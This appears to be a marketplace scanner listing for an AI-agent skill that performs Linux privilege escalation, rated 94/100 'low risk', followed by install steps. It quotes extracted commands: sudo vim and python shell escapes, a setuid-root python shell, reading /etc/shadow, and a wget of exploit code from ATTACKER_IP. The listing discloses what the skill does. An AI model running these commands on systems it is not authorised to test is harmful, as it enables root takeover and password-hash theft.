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linux-privilege-escalation
94 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By sinhoneyy/master-skills (GitHub) · coding · 17 stars · scanned at commit 8e70b78
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 30 places.
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- skills/linux-privilege-escalation/SKILL.md, line 121
ps aux - skills/linux-privilege-escalation/SKILL.md, line 135
env - skills/linux-privilege-escalation/SKILL.md, line 147
curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - skills/linux-privilege-escalation/SKILL.md, line 166
python3 -m http.server 8000 - skills/linux-privilege-escalation/SKILL.md, line 179
uname -r - skills/linux-privilege-escalation/SKILL.md, line 187
./linux-exploit-suggester.sh - skills/linux-privilege-escalation/SKILL.md, line 205
wget http://ATTACKER_IP/exploit.c - skills/linux-privilege-escalation/SKILL.md, line 219
sudo -l - skills/linux-privilege-escalation/SKILL.md, line 227
sudo vim -c ':!/bin/bash' - skills/linux-privilege-escalation/SKILL.md, line 236
sudo python -c 'import os; os.system("/bin/bash")' - skills/linux-privilege-escalation/SKILL.md, line 262
gcc -fPIC -shared -o shell.so shell.c -nostartfiles - skills/linux-privilege-escalation/SKILL.md, line 273
find / -type f -perm -04000 -ls 2>/dev/null - skills/linux-privilege-escalation/SKILL.md, line 282
LFILE=/etc/shadow - skills/linux-privilege-escalation/SKILL.md, line 298
base64 /etc/shadow | base64 -d > shadow.txt - skills/linux-privilege-escalation/SKILL.md, line 310
openssl passwd -1 -salt new newpassword - skills/linux-privilege-escalation/SKILL.md, line 321
getcap -r / 2>/dev/null - skills/linux-privilege-escalation/SKILL.md, line 328
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
and 10 more places
Sends data to these websites: github.com, attacker_ip
This is disclosed by the author in the skill's SKILL.md or README.
Found in 3 places.
Other copies in this repository
sinhoneyy/master-skills has 1 more folder with a skill named linux-privilege-escalation. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'linux-privilege-escalation' ] || [ -L ~/.agents/skills/'linux-privilege-escalation' ]; then echo 'A skill folder named linux-privilege-escalation already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/sinhoneyy/master-skills' "$d" && git -C "$d" checkout --quiet '8e70b780359915a1f197ca37a1add2d4016115a2' -- 'skills/linux-privilege-escalation' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/linux-privilege-escalation' ~/.agents/skills/'linux-privilege-escalation' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'linux-privilege-escalation' ~/.claude/skills/'linux-privilege-escalation' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
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Score history
| Date | Version | Score |
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| 2026-11-09 | 8e70b78 | 94 |